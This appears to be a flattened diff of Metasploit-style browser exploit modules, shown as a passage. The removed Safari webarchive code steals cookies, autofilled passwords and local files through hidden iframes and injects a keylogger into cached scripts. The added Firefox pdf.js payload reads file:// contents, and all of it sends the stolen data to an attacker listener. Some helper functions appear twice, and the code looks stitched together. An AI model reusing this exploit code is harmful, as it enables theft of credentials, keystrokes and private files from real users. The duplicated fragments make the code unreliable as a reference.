present before initializing HTTP - use_zlib - - comm = datastore['ListenerComm'] - if (comm.to_s == "local") - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end - - # Default the server host / port - opts = { - 'ServerHost' => datastore['SRVHOST'], - 'ServerPort' => datastore['SRVPORT'], - 'Comm' => comm - }.update(opts) - - # Start a new HTTP server - @http_service = Rex::ServiceManager.start( - Rex::Proto::Http::Server, - opts['ServerPort'].to_i, - opts['ServerHost'], - datastore['SSL'], - { - 'Msf' => framework, - 'MsfExploit' => self, - }, - opts['Comm'], - datastore['SSLCert'] - ) - - @http_service.server_name = datastore['HTTP::server_name'] - - # Default the procedure of the URI to on_request_uri if one isn't - # provided. - uopts = { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => collect_data_uri - }.update(opts['Uri'] || {}) - - proto = (datastore["SSL"] ? "https" : "http") - print_status("Data capture URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") - - if (opts['ServerHost'] == '0.0.0.0') - print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") - end - - # Add path to resource - @service_path = uopts['Path'] - @http_service.add_resource(uopts['Path'], uopts) - - # Add path to download - uopts = { - 'Proc' => Proc.new { |cli, req| - resp = Rex::Proto::Http::Response::OK.new - resp['Content-Type'] = 'application/x-webarchive' - resp.body = @xml.to_s - cli.send_response resp - }, - 'Path' => webarchive_download_url - }.update(opts['Uri'] || {}) - @http_service.add_resource(webarchive_download_url, uopts) - - print_status("Download URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{webarchive_download_url}") - - # As long as we have the http_service object, we will keep the ftp server alive - while @http_service - select(nil, nil, nil, 1) - end + exploit end def on_request_uri(cli, request) - begin - data_str = if request.body.size > 0 - request.body - else - request.qstring['data'] + if request.method =~ /post/i + data_str = request.body.to_s + begin + data = JSON::parse(data_str || '') + file = record_data(data, cli) + send_response_html(cli, '') + print_good "#{data_str.length} chars received and stored to #{file}" + rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up + file = record_data(data_str, cli) + print_error "Invalid JSON stored in #{file}" + send_response_html(cli, '') end - data = JSON::parse(data_str || '') - file = record_data(data, cli) - send_response_html(cli, '') - print_good "#{data_str.length} chars received and stored to #{file}" - rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up - print_error "Invalid JSON received: #{data_str}" - send_not_found(cli) + else + send_response(cli, webarchive_xml, { + 'Content-Type' => 'application/x-webarchive', + 'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\"" + }) end end # @param [Hash] data the data to store in the log # @return [String] filename where we are storing the data def record_data(data, cli) - @client_cache ||= Hash.new({}) - @client_cache[cli.peerhost]['file'] ||= store_loot( - "safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data" + if data.is_a? Hash + file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'') + end + store_loot( + file || "data", "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data" ) - file = @client_cache[cli.peerhost]['file'] - - @client_cache[cli.peerhost]['data'] ||= [] - @client_cache[cli.peerhost]['data'].push(data) - data_str = JSON.generate(@client_cache[cli.peerhost]['data']) - - File.write(file, data_str) - - file - end - - ### ASSEMBLE THE WEBARCHIVE XML ### - - # @return [String] contents of webarchive as an XML document - def webarchive_xml - return @xml if not @xml.nil? # only compute xml once - @xml = webarchive_header - urls.each_with_index { |url, idx| @xml << webarchive_iframe(url, idx) } - @xml << webarchive_footer - end - - # @return [String] the first chunk of the webarchive file, containing the WebMainResource - def webarchive_header - %Q| - - - - - WebMainResource - - WebResourceData - - #{Rex::Text.encode_base64(iframes_container_html)} - WebResourceFrameName - - WebResourceMIMEType - text/html - WebResourceTextEncodingName - UTF-8 - WebResourceURL - file:/// - - WebSubframeArchives - - | - end - - # @return [String] the XML markup to insert into the webarchive for each unique - # iframe (we use one frame per site we want to steal) - def webarchive_iframe(url, idx) - %Q| - - WebMainResource - - WebResourceData - - #{Rex::Text.encode_base64(iframe_content_for_url(url))} - WebResourceFrameName - <!--framePath //<!--frame#{idx}-->--> - WebResourceMIMEType - text/html - WebResourceTextEncodingName - UTF-8 - WebResourceURL - #{escape_xml url} - - #{webarchive_iframe_subresources(url, idx)} - - | - end - - # @return [String] the XML mark up for adding a set of "stored" resources at - # the given URLs - def webarchive_iframe_subresources(url, idx) - %Q| - WebSubresources - - #{webarchive_resources_for_poisoning_cache(url)} - - | - end - - # @return [String] the XML markup to insert into the webarchive for each unique - # iframe (we use one frame per site we want to steal) - # @return '' if msf user does not want to poison cache - def webarchive_resources_for_poisoning_cache(url) - if not should_install_keyloggers? then return '' end - - url_idx = urls.index(url) - scripts = scripts_to_poison[url_idx] || [] - xml_dicts = scripts.map do |script| - script_body = inject_js_keylogger(script[:body]) - %Q| - - WebResourceData - - #{Rex::Text.encode_base64(script_body)} - - WebResourceMIMEType - application/javascript - WebResourceResponse - - #{Rex::Text.encode_base64 web_response_xml(script)} - - WebResourceURL - #{escape_xml script[:url]} - - | - end - xml_dicts.join - end - - # @return [String] the closing chunk of the webarchive XML code - def webarchive_footer - %Q| - - - - | - end - - # @param script [Hash] containing HTTP headers from the request - # @return [String] xml markup for serialized WebResourceResponse containing good - # stuff like HTTP/caching headers. Safari appears to do the following: - # NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data]; - # [a encodeObject:response forKey:@"WebResourceResponse"]; - def web_response_xml(script) - # this is a serialized NSHTTPResponse, i'm too lazy to write a - # real encoder so yay lets use string interpolation. - # ripped this straight out of a webarchive save - script['content-length'] = script[:body].length - whitelist = %w(content-type content-length date etag - Last-Modified cache-control expires) - headers = script.clone.delete_if { |k, v| not whitelist.include? k } - - key_set = headers.keys.sort - val_set = key_set.map { |k| headers[k] } - key_refs = key_set.each_with_index.map do |k, i| - { 'CF$UID' => 9+i } - end - val_refs = key_set.each_with_index.map do |k, i| - { 'CF$UID' => 9+key_set.length+i } - end - %Q| - - - - - $archiver - NSKeyedArchiver - $objects - - $null - - $0 - 8 - $1 - 1 - $10 - 8 - $11 - 0 - $2 - 7 - $3 - - CF$UID - 2 - |+ - (4..7).map do |i| - %Q| - $#{i} - - CF$UID - #{i+1} - | - end.join("\n") + %Q| - $8 - - CF$UID - #{8+key_set.length*2+2} - - $9 - - CF$UID - 0 - - $class - - CF$UID - #{8+key_set.length*2+3} - - - - $class - - CF$UID - 4 - - NS.base - - CF$UID - 0 - - NS.relative - - CF$UID - 3 - - - #{escape_xml script[:url]} - - $classes - - NSURL - NSObject - - $classname - NSURL - - 388430153.25252098 - 1 - 200 - - $class - - CF$UID - #{8+key_set.length*2+1} - - NS.keys - |+ - key_set.each_with_index.map do |k, i| - %Q| - CF$UID - #{9+i} - | - end.join("\n") + %Q| - - NS.objects - |+ - val_set.each_with_index.map do |k, i| - %Q| - CF$UID - #{9+key_set.length+i} - | - end.join("\n") + %Q| - - - #{key_set.map{|s| "#{s}" }.join("\n")} - #{val_set.map{|s| "#{s}" }.join("\n")} - - $classes - - NSMutableDictionary - NSDictionary - NSObject - - $classname - NSMutableDictionary - - 107961 - - $classes - - NSHTTPURLResponse - NSURLResponse - NSObject - - $classname - NSHTTPURLResponse - - - $top - - WebResourceResponse - - CF$UID - 1 - - - $version - 100000 - - - | - end - - - #### JS/HTML CODE #### - - # Wraps the result of the block in an HTML5 document and body - def wrap_with_doc(&blk) - %Q| - - - - #{yield} - - - | - end - - # Wraps the result of the block with " - end - - # @return [String] mark up for embedding the iframes for each URL in a place that is - # invisible to the user - def iframes_container_html - hidden_style = "position:fixed; left:-600px; top:-600px;" - wrap_with_doc do - frames = urls.map { |url| "" } - communication_js + frames.join + injected_js_helpers + steal_files + message - end - end - - # @return [String] javascript code, wrapped in script tags, that is inserted into the - # WebMainResource (parent) frame so that child frames can communicate "up" to the parent - # and send data out to the listener - def communication_js - wrap_with_script do - %Q| - window.addEventListener('message', function(event){ - var x = new XMLHttpRequest; - x.open('POST', '#{backend_url}#{collect_data_uri}', true); - x.send(event.data); - }); - | - end - end - - # @return [String] all the HTML markup required for executing the chosen attacks - def iframe_content_for_url(url) - # this JS code runs inside the iframes, in the context of url - html = '' - html << injected_js_helpers - html << trigger_cache_poison_for_url(url) if should_install_keyloggers? - html << steal_cookies_for_url(url) if should_steal_cookies? - html << steal_form_data_for_url(url) if should_steal_form? - wrap_with_doc { html } - end - - # @return [String] javascript code, wrapped in a script tag, that steals the cookies - # and response body/headers, and passes them back up to the parent. - def steal_cookies_for_url(url) - wrap_with_script do - %Q| - try { - var req = new XMLHttpRequest(); - var sent = false; - req.open('GET', '#{url}', true); - req.onreadystatechange = function() { - if (req.readyState==4 && !sent) { - sendData('#{url}', { - response_headers: req.getAllResponseHeaders(), - response_body: req.responseText - }); - sent = true; - } - }; - req.send(null); - } catch (e) {} - sendData('cookie', document.cookie); - | - end - end - - # @return [String] javascript code, wrapped in a script tag, that steals local files - # and sends them back to the listener. This code is executed in the WebMainResource (parent) - # frame, which runs in the file:// protocol - def steal_files - return '' unless should_steal_files? - urls_str = [datastore['FILE_URLS'], interesting_file_urls.join(' ')].join(' ') - wrap_with_script do - %Q| - var filesStr = "#{urls_str}"; - var files = filesStr.trim().split(/\s+/); - var stealFile = function(url) { - var req = new XMLHttpRequest(); - var sent = false; - req.open('GET', url, true); - req.onreadystatechange = function() { - if (!sent && req.responseText && req.responseText.length > 0) { - sendData(url, req.responseText); - sent = true; - } - }; - req.send(null); - }; - for (var i = 0; i < files.length; i++) stealFile(files[i]); - | - end - end - - # @return [String] javascript code, wrapped in a script tag, that steals autosaved form - # usernames and passwords. The attack first tries to render the target URL in an iframe, - # and steal populated passwords from there. If the site disables iframes through the - # X-Frame-Options header, we try popping open a new window and rendering the site in that. - def steal_form_data_for_url(url) - wrap_with_script do - %Q| - var stealFormData = function(win, completeFn) { - var doc = win.document; - if (!doc) doc = win.contentDocument; - return function() { - var data = {}, found = false; - try { - var inputs = doc.querySelectorAll( - 'input[type=email],input[type=text],input[type=password],textarea' - ); - for (var i = 0; i < inputs.length; i++) { - if (inputs[i].value && inputs[i].value.length > 0) { - found = true; - data[inputs[i].name] = inputs[i].value; - } - } - if (found) sendData(data); - if (completeFn) completeFn.call(); - } catch(e) {} - } - } - - var tryInNewWin = function() { - var y = window.open('#{url}', '_blank', 'height=0;width=0;location=0;left=200;'); - if (y) { - var int1 = window.setInterval(function(){y.blur();window.top.focus();}, 20); - y.addEventListener('load', function() { - window.setTimeout(stealFormData(y, function(){ - if (int1) { - window.clearInterval(int1); - int1 = null; - } - y.close(); - }), 500); - }, false); - } - }; - var tryInIframe = function(){ - var i = document.createElement('iframe'); - i.style = 'position:absolute;width:2px;height:2px;left:-2000px;top:-2000px;'; - document.body.appendChild(i); - i.src = '#{url}'; - i.addEventListener('load', function() { - window.setTimeout(stealFormData(i), 500); - }, false); - return i; - }; - - var iframe = tryInIframe(); - if (#{should_pop_up?}) { - window.setTimeout(function(){ - - if (iframe.contentDocument && - iframe.contentDocument.location.href == 'about:blank') { - tryInNewWin(); - } - }, 1000) - } - | - end - end - - # @return [String] javascript code, wrapped in script tag, that adds a helper function - # called "sendData()" that passes the arguments up to the parent frame, where it is - # sent out to the listener - def injected_js_helpers - wrap_with_script do - %Q| - window.sendData = function(key, val) { - var data = {}; - data[key] = val; - window.top.postMessage(JSON.stringify(data), "*") - }; - | - end - end - - # @return [String] HTML markup that includes a script at the URL we want to poison - # We will then install the injected_js_keylogger at the same URL - def trigger_cache_poison_for_url(url) - url_idx = urls.index(url) - scripts_to_poison[url_idx].map { |s| - "\n\n" - }.join - end - - # @param original_js [String] the original contents of the script file - # @return [String] the poisoned contents. Once the module has found a valid 304'd script to - # poison, it "poisons" it by adding a keylogger, then adds the output as a resource with - # appropriate Cache-Control to the webarchive. - # @return [String] the original contents if msf user does not want to install keyloggers - def inject_js_keylogger(original_js) - if not should_install_keyloggers? - original_js - else - frame_name = 'lalala___lalala' - secret = '____INSTALLED!??!' - %Q| - (function(){ - if (window['#{secret}']) return; - window['#{secret}'] = true; - document.addEventListener('DOMContentLoaded',function(){ - var buffer = ''; - var sendData = function(keystrokes, time) { - var img = new Image(); - data = JSON.stringify({keystrokes: keystrokes, time: time}); - img.src = '#{backend_url}#{collect_data_uri}?data='+data; - } - document.addEventListener('keydown', function(e) { - var c = String.fromCharCode(e.keyCode); - if (c.length > 0) buffer += c; - }, true); - window.setInterval(function(){ - if (buffer.length > 0) { - sendData(buffer, new Date); - buffer = ''; - } - }, 3000) - }); - })(); - #{original_js} - | - end - end - - # @return [Array>] list of URLs provided by the user mapped to all of the linked - # javascript assets in its HTML response. - def all_script_urls(pages) - pages.map do |url| - results = [] - print_status "Fetching URL #{url}..." - # fetch and parse the HTML document - doc = Nokogiri::HTML(URI.parse(url).open) - # recursively add scripts from iframes - doc.css('iframe').each do |iframe| - print_status "Checking iframe..." - if not iframe.attributes['src'].nil? and not iframe.attributes['src'].value.empty? - results += all_script_urls([iframe.attributes['src'].value]) - end - end - # add all scripts on the current page - doc.css('script').each do |script| # loop over every " + end + + def backend_url + proto = (datastore['SSL'] ? 'https' : 'http') + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource + + "#{proto}://#{my_host}#{port_str}#{resource}/catch" + end + + + def file_payload + %Q| + var files = (#{JSON.generate(file_urls)}); + function next() { + var f = files.pop(); + if (f) { + get("file://"+f, function() { + var data = get_data(this); + var x = new XMLHttpRequest; + x.open("POST", "#{backend_url}?name="+encodeURIComponent("%URL%")); + x.send(data); + }, #{datastore['PER_FILE_SLEEP']}, "%URL%", f); + setTimeout(next, #{datastore['PER_FILE_SLEEP']}+200); + } + } + next(); + | + end + + def file_urls + datastore['FILES'].split(',').map(&:strip) + end + + def js + <<-EOJS +function xml2string(obj) { + return new XMLSerializer().serializeToString(obj); +} + +function __proto(obj) { + return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; +} + +function get(path, callback, timeout, template, value) { + callback = _(callback); + if (template && value) { + callback = callback.replace(template, value); + } + js_call1 = 'javascript:' + _(function() { + try { + open("%url%", "_self"); + } catch (e) { + history.back(); + } + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + i = document.getElementById('i'); + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + i2 = document.getElementById('i2'); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); +} + +function get_data(obj) { + data = null; + try { + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); + } + } catch (e) { + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } + } + return data; +} + +function _(s, template, value) { + s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); + } + s += __proto; + s += xml2string; + s += get_data; + s = s.replace(/\\s\\/\\/.*\\n/g, ""); + s = s + ";undefined"; + return s; +} + +function get_sandbox_context() { + if (window.my_win_id == null) { + for (var i = 0; i < 20; i++) { + try { + if (window[i].location.toString().indexOf("view-source:") != -1) { + my_win_id = i; + break; + } + } catch (e) {} + } + }; + if (window.my_win_id == null) + return; + clearInterval(sandbox_context_i); + object.data = 'view-source:' + blobURL; + window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; + object.data = 'data:text/html,<'+'html/>'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', ''; + + setTimeout(function(){ + var opts = #{JSON.unparse(opts)}; + var key = opts['#{key}']; + q.messageManager.loadFrameScript('data:,'+key, false); + setTimeout(function(){ + q.close(); + }, 100) + }, 100) + }, 100); + } + } catch (e) { + history.back(); + } + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); +} + +function get_data(obj) { + data = null; + try { + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); + } + } catch (e) { + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } + } + return data; +} + +function _(s, template, value) { + s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); + } + s += __proto; + s += xml2string; + s += get_data; + s = s.replace(/\\s\\/\\/.*\\n/g, ""); + s = s + ";undefined"; + return s; +} + +function get_sandbox_context() { + if (window.my_win_id == null) { + for (var i = 0; i < 20; i++) { + try { + if (window[i].location.toString().indexOf("view-source:") != -1) { + my_win_id = i; + break; + } + } catch (e) {} + } + }; + if (window.my_win_id == null) + return; + clearInterval(sandbox_context_i); + object.data = 'view-source:' + blobURL; + window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; + object.data = 'data:text/html,<'+'html/>'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '